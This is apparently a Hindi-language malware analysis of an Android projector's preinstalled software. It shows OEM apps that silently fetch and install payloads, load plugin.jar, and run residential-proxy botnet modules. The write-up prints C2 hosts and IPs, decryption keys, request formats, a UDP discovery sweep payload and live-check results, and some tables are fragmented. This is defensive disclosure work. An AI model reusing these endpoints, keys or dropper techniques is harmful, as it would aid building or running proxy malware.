com.android.toofifi: कोर स्क्रीनकास्ट सेवा। आप फ़ोन और लैपटॉप से स्क्रीन मिररिंग (Miracast/AirPlay-शैली कास्टिंग) खो देते हैं।com.toofifi.lineserver: उसी स्टैक के लिए वायर्ड/USB डिस्प्ले सर्वर, लाइसेंस जाँच के लिए server.mphotool.com:8680 पर फ़ोन होम करता है। आप वायर्ड डिस्प्ले मोड खो देते हैं।com.toofifi.miracast: वायरलेस Miracast रिसीवर, server.mphotool.com:8680/MPAPI/System/CheckUpdate को कॉल करता है और उपयोग लॉग mphotool.com/FeituAppLogMgr पर अपलोड करता है। आप वायरलेस कास्टिंग खो देते हैं।com.mphotool.usbcastserver: USB कास्ट सर्वर, वही विक्रेता। आप डिवाइस-से-USB कास्ट समर्थन खो देते हैं।com.rockchip.devicetest: Allwinner यूनिट पर होने का कोई कारण नहीं।स्टैटिक विश्लेषण। कच्चे डीकंपाइल किए गए सोर्स, डिक्रिप्ट किए गए .rf मॉड्यूल, और उपयोग की गई स्क्रिप्ट्स analysis/ (decompiled/, decrypted_modules/, tools/) में रखे गए हैं।
com.android.sysapp
डीकंपाइल किए गए क्लास a.a.b.m/a.a.b.n सटीक, शाब्दिक OTA अनुरोध देते हैं:```
POST http://wjtysj.ishanghd.com/hx_kt.php?act=project&do=getPackageInfo
&productid=<ro.android.productid, default "74865231">
&device_mode=<persist.sys.cm.dtsmodel, e.g. "AT-M269">
&devices_version=<ro.build.version.incremental>
&update_type=1|2 # 1 auto check, 2 forced ("check for update" button)
Apache `HttpPost` के माध्यम से खाली फ़ॉर्म बॉडी के साथ। सब कुछ क्वेरी स्ट्रिंग में है, इसलिए GET और POST समान हैं और कोई हस्ताक्षर/टोकन नहीं है। लाइव रीप्ले किया गया (2026‑09‑26): `{"code":200,"data":[]}`, ऐसा लगता है कि इस productid के लिए किसी भी संस्करण में कोई पैकेज नहीं है।
### 9.2 ड्रॉपर
`com.android.umanalytics.yiyou`
**स्व-अपडेट** (`http.utils.UpdateUtils.checkUpdate`)
`GET http://ty.ishanghd.com/work/app/wj/factory/update.json` `DownLoadURL` को `MD5` और `VersionCode` के साथ डिलीवर करता है जिसे डाउनलोड किया जाता है, MD5-जाँचा जाता है, `PkgUtils.install(path, 1)` और चुपचाप स्वयं को बदल देता है।
**`plugin.jar` फ़ेच** (`MyService`)
`GET http://isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json` `plugin.jar` को डिलीवर करता है जिसे `<cache>/plugin.jar` पर डाउनलोड किया जाता है और `DexClassLoader` के साथ लोड किया जाता है। `com.anlytics.plug.ParserUtils.AnalyticsHelper("test")` प्रवेश बिंदु है।
**प्रति-डिवाइस ऐप-सूची प्रोफ़ाइल**
ये अभियान में प्रत्येक डिवाइस के लिए कस्टम ऐप्स हैं (संभवतः DRM को दरकिनार करने के लिए पैच किए गए?)
`com.anlytics.plug.b` बोर्ड (`ro.board.platform`, `persist.sys.cm.dtsmodel`, `ro.sys.cputype`, `ro.build.version.release`, इंस्टॉल किए गए पैकेज, `/system/etc/voice.tar.gz` जैसी फ़ाइलें) को 40 हार्डकोडेड प्रोफ़ाइलों के विरुद्ध फ़िंगरप्रिंट करता है और `com.tools.a` में स्थिरांकों से उपयुक्त `appsinfo/.../infos*.json` URL चुनता है।
यह यूनिट `com.ashd.launcher10` शिप करती है और `persist.sys.cm.dtsmodel=AT-M269` / बोर्ड `ares` रिपोर्ट करती है और तालिका में एकमात्र H713 "launcher10" प्रोफ़ाइल यह है:```
http://ty.ishanghd.com/work/app/wj/appsinfo/H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
(empty)```json date 20240819 description "1、优化网络访问\n2、增强系统稳定性。" appInfos 0 appVersionCode 425 appName "uninstall" appPkgName "com.netflix.ninja" appMd5 "3D3EC4CAA09F68170EB0ADC5A92AC018" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/rk3326/Netflix_425.apk" 1 appVersionCode 84 appName "launcher10" appPkgName "com.ashd.launcher10" appMd5 "3AA639AE6850189EB8EB4B288AFAD70A" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/Launcher10_HY300_1.84.apk" 2 appVersionCode 3 appName "platinum" appPkgName "com.allwinnertech.platinum.media" appMd5 "5DA2127B3D0E983D96C16F5960CFE5E0" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/PlatinumMediaDLNA.apk"
**40 प्रोफ़ाइल URL की पूरी सूची**
प्रत्येक संभवतः एक ही अभियान के अंतर्गत एक पीड़ित डिवाइस परिवार है:```
infos.json
TEST/infos.json
infos_qp.json
infos_lm.json
infos_wy.json
infos_wy_fj600.json
infos_set.json
infos_ydd3128.json
WANYING_test/infos.json
YBS_ASOS/infos.json
YDN2_YIUI_RX480P/infos.json
YINGKE_CC720P/infos_0208.json
YINGKE_CC720P/infos_ZG_0315.json
YINGKE_CC720P/infos_0313.json
YINGKE_CC720P/infos_0504.json
SAIER_RK3326_DV381_YIUI/infos.json
SAIER_RK3326_DV381_YIUI_C1PRO/infos.json
rk3326_ASHD/Q3/infos.json H713/N1/infos.json
rk3326/HY300A/infos.json
rk3326/Saier_zhixiang_0326/infos.json YKK_3326_YIUI/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_OLD/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_DSN/infos.json
rk3326_ASHD/RK3326_HY300A_YM_SUR269_AHW/infos_dsn.json
rk3326/HY300A_GBPT_HP265013_AHW/infos_0611.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW/infos_dsn.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW_OLDNFX/infos.json
rk3326_ASHD/BNX_TXD265_AHW_3+64_Lingbo/infos2.json
rk3326_ASHD/RK3326_GBPT_720P_CAOYING/infos.json
rk3326_ASHD/RK3326_GBPT_LAUNCHER10/infos.json
rk3326_ASHD/RK3326_HY300A_JUYING1_8_HP265013_AHW/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos.json
H713_ASHD/H713_HY300A_720P_YIRUO/infos_0304.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_1207.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_0221.json
H713_ASHD/H713M_HY300PRO_MAX_HP269006_BAT/infos_1220.json
H713_ASHD/H713M_HY300A_VIEW_0304/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_0318.json
H713_ASHD/H713_SKW/infos.json
H713_ASHD/H713_NEFHELP/infos.json
H713_ASHD/DSN/infos.json
rk3326_ASHD/DSN/infos.json
rk3326_ASHD/RK3326_AD/infos_ad_asos.json
H713_ASHD/H713_HY300_HIFI/infos.json
H713_ASHD/H713M_HY300_A/infos_F8.json
H713_ASHD/H713M_TENPLUS_0625/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
Hisi352_ASHD/TS-6/infos_0730.json
H723_ASHD/H723_T1Pro/infos_0618.json
प्रत्येक infos*.json उन ऐप्स की सूची देता है जिन्हें pm install -r (payload com.google.adtest + Disney+ जैसे कवर ऐप्स) के माध्यम से इंस्टॉल किया जाना है, जैसा कि 3. में बताया गया है।
C2 होस्ट एन्क्रिप्शन
com.hs.p.basic.Hosts/EncryptUtils
प्रत्येक होस्ट स्ट्रिंग AES/CFB/NoPadding (key MD5("ota.host.a46780a24111f056d95f955462606901"), IV "0102030405060708") है, gzip-संपीड़ित, फिर base64:
API_MASTER_HOSTS: https://api.loritor.cc/TRACKER_SLAVE_HOSTS: https://api.loritor.cc/API_SLAVE_HOSTS: https://api.nizero.cc/TRACKER_MASTER_HOSTS: https://api.nizero.cc/ (API चैनल की तुलना में प्राथमिकता बदली गई?)इस परीक्षण के समय loritor.cc और nizero.cc दोनों डाउन लग रहे थे।
टास्क/कॉन्फ़िग API पथ
GetTaskApi, GetConfigApi
POST <host>/0x01/ov/x1 (कॉन्फ़िग: साइलेंट विंडो, लॉग टॉगल, होस्ट सूची पुश, पोल अवधि) और POST <host>/0x01/ov/x2 (टास्क सूची: कर्सर-पेजिनेटेड jars[]/dexs[]/apks[], प्रत्येक में file_url/file_md5/vercode/task_id)। रिस्पॉन्स बॉडी का "data" फ़ील्ड उसी तरह एन्क्रिप्टेड है, key "ota.api.d3b194c07b63d688969c258719ca3f0f"।
.rf मॉड्यूल प्रारूप
मेरे पास मौजूद सभी चार मॉड्यूल को वैध DSA हस्ताक्षरों के साथ डिक्रिप्ट करना:
[4B version][4096B pad][32B salt][4B+N invocation AES-CFB][4B+N module AES-CFB][4B+N DSA sig]।
AES key = MD5("968a84be78d3421d5e771147dce2b766" + salt), ऊपर के समान निश्चित IV।
DSA सार्वजनिक कुंजी हार्डकोडेड है (1024-बिट, DexManager/JarExe में एम्बेडेड)। प्लेनटेक्स्ट एक ZIP/APK है, कच्चा dex नहीं।```
SKN0041: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0017","m_uninit":"stop"}
SKN0054: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0028","m_uninit":"stop"}
SKN0058: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0032","m_uninit":"stop"}
SKN0061: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0035","m_uninit":"stop"}
### 9.4 com.ad.proxy
`SKN0041`
एंट्री `MainApi.start_W0017` क्लाइंट `Robin` को स्पिन अप करती है। दो सादे HTTP(S) एंडपॉइंट, `channel`/`version` उसी द्वारा आपूर्ति किए जाते हैं जिसने मॉड्यूल को इनवोक किया:```
GET https://api.kookjar.com/signin?uuid=<uuid>&channel=<channel>&version=<version>
# (debug build: http://152.32.240.141 same paths)
POST https://api.kookjar.com/report?uuid=<uuid>&channel=<channel>&version=<version>
body: {"gateway_list":[{"host":..,"port":..,"status":..}, ...]}
# reports back which proxy gateways it reached
SKN0054
यहाँ Domain/IP स्ट्रिंग्स obfuscated हैं: Base64→XOR(fixed key) > XOR(prev result) > MD5-derived XOR > Base64 > gzip क्लास com.szns.sdk.t में।
सटीक एल्गोरिदम (analysis/tools/decode_szns_t.py) को दोहराया और सभी चार hardcoded bootstrap endpoints को डिक्रिप्ट किया:```
ac.a()
-> https://hgsdkszns.com
ac.b()
-> http://dporder.midrouterx.com/api/dispatch
(state 1: fetch "domain_info", cached 24h)
ac.c()
-> https://seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico
(state 3: OSS bootstrap; body is a plain URL: "http://dporder.midrouterx.com/api/dispatchByOss")
ac.d()
-> 43.173.127.241:9090
(state 5: "ip_tcp_info" bootstrap)
यदि कोई कैश्ड डिस्पैच URL नहीं है (state 7):
`43.153.12.1` - `43.153.80.100:8080` का UDP स्वीप
शाब्दिक ASCII पेलोड `"moon2"` भेजना, `http` से शुरू होने वाले किसी भी उत्तर की प्रतीक्षा करना। यह उत्तर डिस्पैच URL बन जाता है।
प्रत्येक बूटस्ट्रैप अनुरोध `POST <url>` है जिसमें `com.szns.sdk.x` में फ़ॉर्म फ़ील्ड `{"operator":<c>,"c":"moon2","name":<d>}` होते हैं।
जो भी डिस्पैच URL रिज़ॉल्व होता है, उस पर वही फ़ील्ड POST किए जाते हैं और वास्तविक गेटवे सूची लौटाता है, जो `AES/CBC/PKCS5` (कुंजी `"5360e2884c119aa32a767ceb1c0889b0"`, रैंडम IV, एनवेलप `base64(iv):base64(ciphertext)`) के रूप में एन्क्रिप्टेड होती है।
डिक्रिप्टेड JSON प्रारूप: `{"data":{"schedule":N,"thread":N,"heartbeat":N,"st":N,"node":[{"connect":"host:port","proxy":"host:port"}, ...]}}`.
### 9.6. com.link.core
`SKN0058 `
एकल हार्डकोडेड गेटवे, कोई डिस्कवरी लेयर नहीं: `com.link.core.a.g` → `["api.eviceh.cc:16000"]`। इसके स्वयं के लुकअप के लिए उपयोग किए जाने वाले DNS रिज़ॉल्वर: `8.8.8.8`, `9.9.9.9`, `1.1.1.1`, `1.0.0.1`। डिवाइस फिंगरप्रिंटिंग के लिए `/proc/cpuinfo` और `/sys/class/net/{eth0,wlan0}/address` पढ़ता है।
### 9.7. ddth2 (VpsSdk)
`SKN0061`
हार्डकोडेड गेटवे पूल, `ddth2.hidden.o`: डोमेन `dw4y.mmavlino.com`, `zx8c.llvyomi.net`, `zxn5.p2f7mjhv.eu.cc`, IP `45.43.57.99`, `165.154.135.52`।
एक पर्सिस्टेंट कस्टम बाइनरी TCP प्रोटोकॉल:
- connect
- `REGISTER`/`REGISTER_ACK` हैंडशेक (8-बाइट फ़्रेम हेडर, opcode+length)
- गेटवे फिर connect कमांड पुश करता है (`{host, port}`
- प्राइवेट/लूपबैक/मल्टीकास्ट रेंज के विरुद्ध फ़िल्टर किया जाता है जो प्रति-सेशन प्रॉक्सीड सॉकेट स्पॉन करते हैं, जो "कई समानांतर क्लाइंट इंस्टेंस" की व्याख्या करता है।
### 9.8. com.google.adtest
या `com.fotas.wanapp ("com.speed")`
वास्तविक आंतरिक पैकेज नाम `com.fotas.wanapp` है (App क्लास `com.fotas.wanapp.APP`)। `onCreate()` तीन होस्ट सेट करता है जो `plugin.jar` के समान master/slave/random पैटर्न का पालन करते हैं:```
master -> https://api.pechlo.cc/
slave -> https://api.logobi.cc/
random -> https://random.vivosoc.cc/
डिवाइस चेक-इन POST https://codedevapp.com/api/v1/device/dau के माध्यम से होता है।
दो सेवाएँ शुरू की जाती हैं:
com.google.android.AdServicecom.google.android.BakServiceयदि मौजूद हो तो वैकल्पिक com.fotas.wanapp.ChannelSdkInit क्लास को रिफ्लेक्टिव रूप से प्रोब करके इनिशियलाइज़ करता है। ऐप आईडी स्ट्रिंग्स: "wanapp", "WAN_AISHANG_001".
एक स्वतंत्र होस्ट से रीड-ओनली रीचेबिलिटी जाँच (कोई प्रॉक्सी प्रोटोकॉल/पेलोड नहीं भेजा गया, प्रोजेक्टर के साथ कोई इंटरैक्शन नहीं):
डेवलपर विकल्प:
Deviceversion.onKeyDown (Settings की "Device info" स्क्रीन) एक Konami शैली कोड, Up Up Down Down Left Left Right Right Center Center, की प्रतीक्षा करता है, जो डेवलपर विकल्प खोलने का प्रयास करता है। मेरे लिए यह काम नहीं किया।com.konka.readmain.MainActivity लॉन्च करने का प्रयास करता है, एक असंबंधित OEM फ़ैक्टरी-टेस्ट ऐप जो वास्तव में इस यूनिट पर इंस्टॉल नहीं है। वही, काम नहीं किया।```
adb shell am start -n com.ashd.settings/com.rk_itvui.settings.deviceversion.Deviceversion
adb shell input keyevent 19
adb shell input keyevent 19
adb shell input keyevent 20
adb shell input keyevent 20
adb shell input keyevent 21
adb shell input keyevent 21
adb shell input keyevent 22
adb shell input keyevent 22
adb shell input keyevent 23
adb shell input keyevent 23| शब्द | यह क्या करता है | LAN |
|---|
NetworkInterface (adtest, plugin, SKN0061) | बॉट ID के लिए डिवाइस का अपना IP और MAC पढ़ता है | नहीं |
SKN0041 में DatagramSocket | गेटवे को प्रॉक्सी सत्रों के लिए UDP रिले | नहीं |
SKN0054 में DatagramSocket | C2 डिस्कवरी: 43.153.12-80.1-100:8080 (सार्वजनिक क्लाउड रेंज) को स्वीप करता है | नहीं |
plugin.jar में ServerSocket | वीडियो री-स्ट्रीम सर्वर, नीचे देखें | नहीं |
Runtime.exec हिट्स (yiyou, plugin.jar, adtest, SKN0041/54/58/61) | तृतीय-पक्ष SDK आंतरिक, स्थानीय फ़ाइलों पर chmod 777, फोरग्राउंड-ऐप या रूट जाँच के लिए su/pm/dumpsys और SKN0041 में ऑपरेटर द्वारा जारी ping | केवल ping कमांड |
| UPnP, mDNS/NSD, SSDP, WiFi Direct, ARP/subnet math, ADB 5555, telnet | कोई नहीं | नहीं |
systemmixservice / libsystemmixservice.so / libsystemmix_jni.so | केवल-Binder OEM सेवा: प्रॉपर्टी get/set, रॉ फ़ाइल read/write/delete, mount/umount, बूट लोगो/एनिमेशन। दोनों बाइनरी में कोई socket/bind/connect/listen/accept सिंबल नहीं | नहीं |
qw | सुपरयूज़र/ClockworkMod su डेमन। इसके स्ट्रिंग्स में केवल Unix डोमेन सॉकेट पाथ (/dev/com.koushikdutta.superuser[.daemon]), कोई IP लिटरल नहीं, कोई AF_INET नहीं | नहीं |
com.android.nfx (NFXAccessibility) | Netflix D-pad नेविगेशन हेल्पर, केवल तब सक्रिय जब com.netflix.mediaclient फोरग्राउंड में हो। मैनिफेस्ट में INTERNET अनुमति बिल्कुल नहीं है | नहीं |
| // SKN0054 com/szns/sdk/t.java - refuses private and loopback targets, IPv4 dotted-decimal only | ||
| str.equals("0.0.0.0") | str.matches("^10\..*") |
| होस्ट | DNS / कनेक्ट परिणाम | नोट्स |
|---|
api.loritor.cc, api.nizero.cc | रिज़ॉल्व होता है (Cloudflare), / पर HTTP 404 | सक्रिय; वास्तविक पाथ /0x01/ov/x1, /0x01/ov/x2 हैं |
api.kookjar.com | रिज़ॉल्व होता है (Cloudflare, 172.67.159.65), HTTP 204 | सक्रिय |
152.32.240.141 (SKN0041 डीबग फ़ॉलबैक) | TCP/80 टाइमआउट | पहुँच योग्य नहीं; वैसे भी केवल-डीबग पाथ, प्रोडक्शन api.kookjar.com का उपयोग करता है |
dporder.midrouterx.com | सीधे रिज़ॉल्व होता है (43.174.196.241, Tencent Cloud), /api/dispatch पर HTTP 200 | सक्रिय |
seed-info.oss-ap-southeast-1.aliyuncs.com | रिज़ॉल्व होता है (47.79.49.170, Alibaba Cloud SG), HTTP 200, favorite.ico सर्व करता है | सक्रिय |
hgsdkszns.com | रिज़ॉल्व होता है (Cloudflare) | DNS सक्रिय; सादा HTTPS प्रोब रीसेट (वर्तमान बिल्ड में अप्रयुक्त ब्रांच, देखें 10.5) |
43.173.127.241:9090 | रॉ TCP कनेक्ट सफल | सक्रिय, अभी लिसन कर रहा है |
api.eviceh.cc:16000 | रिज़ॉल्व होता है (152.53.83.204) | DNS सक्रिय, जाँच के समय TCP/16000 रिफ्यूज़्ड (गेटवे वर्तमान में लिसन नहीं कर रहा) |
dw4y.mmavlino.com / zx8c.llvyomi.net / zxn5.p2f7mjhv.eu.cc / 45.43.57.99 / 165.154.135.52 | इस पास में पुनः जाँच नहीं की गई | देखें अनुभाग 11 |
api.pechlo.cc, api.logobi.cc | रिज़ॉल्व होते हैं (Cloudflare), / पर HTTP 404 | सक्रिय |
random.vivosoc.cc | कोई DNS रिकॉर्ड नहीं | मृत/समाप्त प्रतीत होता है |
codedevapp.com | रिज़ॉल्व होता है (5.161.41.216, Hetzner) | सक्रिय; /api/v1/device/dau केवल-POST है इसलिए सादा GET अबॉर्ट हो जाता है |
| होस्ट / URL | घटक | भूमिका |
|---|
ishanghd.com, ty.ishanghd.com, isdownload.ishanghd.com, wjtysj.ishanghd.com | sysapp, yiyou | रूट OEM बैकएंड डोमेन |
wjtysj.ishanghd.com/hx_kt.php | sysapp (AshdSysApp) | OTA अपडेटर C2 (act=project&do=getPackageInfo) |
ty.ishanghd.com/work/app/wj/factory/update.json | yiyou | ड्रॉपर सेल्फ-अपडेट पॉइंटर |
ty.ishanghd.com/work/app/wj/appsinfo/* (40 पाथ, ऊपर देखें) | yiyou | प्रति-डिवाइस-फ़ैमिली पेलोड/ऐप सूचियाँ (pm install -r लक्ष्य) |
isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json | yiyou | plugin.jar फ़ेच पॉइंटर |
isdownload.ishanghd.com/work/app/wj/plugin/plugin/2026082800/plugin.jar | yiyou | वास्तविक plugin.jar पेलोड (वर्ज़न्ड पाथ, समय के साथ बदलता है) |
isdownload.ishanghd.com/work/app/wj/app/rk3326/L3.zip | plugin.jar | Widevine L3 DRM की/लाइसेंस बंडल, ड्रॉप किया जाता है ताकि स्ट्रीमिंग ऐप्स अनसर्टिफाइड डिवाइस पर चल सकें |
api.loritor.cc, api.nizero.cc | plugin.jar ("hs") | टास्क/कॉन्फ़िग API (/0x01/ov/x1, /0x01/ov/x2), दोनों API चैनल (मास्टर/स्लेव) और ट्रैकर चैनल (स्लेव/मास्टर स्वैप्ड) के रूप में |
api.kookjar.com (+ 152.32.240.141 डीबग) | SKN0041 | /signin, /report |
api.eviceh.cc:16000 | SKN0058 | एकमात्र गेटवे |
hgsdkszns.com | SKN0054 | अतिरिक्त हार्डकोडेड बूटस्ट्रैप होस्ट (वर्तमान बिल्ड में अप्रयुक्त ब्रांच) |
dporder.midrouterx.com/api/dispatch (+ /api/dispatchByOss, नीचे दिए OSS बूटस्ट्रैप के माध्यम से पहुँचा जाता है) | SKN0054 | प्राथमिक डिस्पैच बूटस्ट्रैप |
seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico | SKN0054 | OSS-होस्टेड बूटस्ट्रैप रीडायरेक्टर (Alibaba Cloud OSS) |
seed-1303252866.cos.na-siliconvalley.myqcloud.com/favorite.ico | SKN0054 | उसी बूटस्ट्रैप कॉन्फ़िग का Tencent COS बैकअप मिरर |
43.173.127.241:9090 | SKN0054 | ip_tcp_info बूटस्ट्रैप होस्ट (सटीक पोर्ट की पुष्टि, लाइव) |
43.135.136.224 | SKN0054 | डिस्पैच गेटवे लाइव देखा गया (tcp/7788 /api/dispatch, tcp/9090) |
43.159.148.198 | SKN0054 | गेटवे/सर्वर-लिस्ट एंडपॉइंट लाइव देखा गया, /dp/getServer (संभवतः एन्क्रिप्टेड node[] सूची के अंदर गतिशील रूप से लौटाया गया) |
43.130.60.175 | SKN0054 | अतिरिक्त प्रॉक्सी गेटवे नोड (tcp/9090), लाइव देखा गया |
43.153.12.1–43.153.80.100:8080 (UDP) | SKN0054 | डिस्कवरी स्वीप; प्रोब पेलोड शाब्दिक ASCII moon2 है |
dw4y.mmavlino.com, zx8c.llvyomi.net, zxn5.p2f7mjhv.eu.cc, 45.43.57.99, 165.154.135.52 | SKN0061 | गेटवे पूल, कस्टम TCP प्रॉक्सी प्रोटोकॉल |
api.pechlo.cc, api.logobi.cc, random.vivosoc.cc | com.speed / com.fotas.wanapp | मास्टर/स्लेव/रैंडम C2 |
codedevapp.com/api/v1/device/dau | com.speed / com.fotas.wanapp | डिवाइस चेक-इन |
live.sz-cloudmedia.com:8080/ota/ | लिगेसी OTA (पुराना/सहोदर sysapp वेरिएंट) | डेड एंड, डोमेन का कोई ICP फाइलिंग नहीं है, Alibaba इसे ब्लॉक करता है। |
ulogs.umeng.com, ulogs.umengcloud.com, alogus.umeng.com, alogsus.umeng.com, ouplog.umeng.com, plbslog.umeng.com | yiyou (Umeng SDK) | तृतीय-पक्ष एनालिटिक्स टेलीमेट्री, जो yiyou ऐप द्वारा एकत्र किए गए डिवाइस फ़िंगरप्रिंट (सीरियल, MACs, SSID/BSSID) ले जाती है |
hmma.baidu.com, datax.baidu.com, dxp.baidu.com, openrcv.baidu.com | yiyou (Baidu Mobile Stats SDK) | वही टेलीमेट्री भूमिका, Baidu के माध्यम से |
cmnsguider.yunos.com, ip.taobao.com, g3.le.com | yiyou | फ़िंगरप्रिंटिंग के लिए उपयोग की जाने वाली Alibaba/Yunos डिवाइस-टोकन और सार्वजनिक-IP लुकअप सेवाएँ |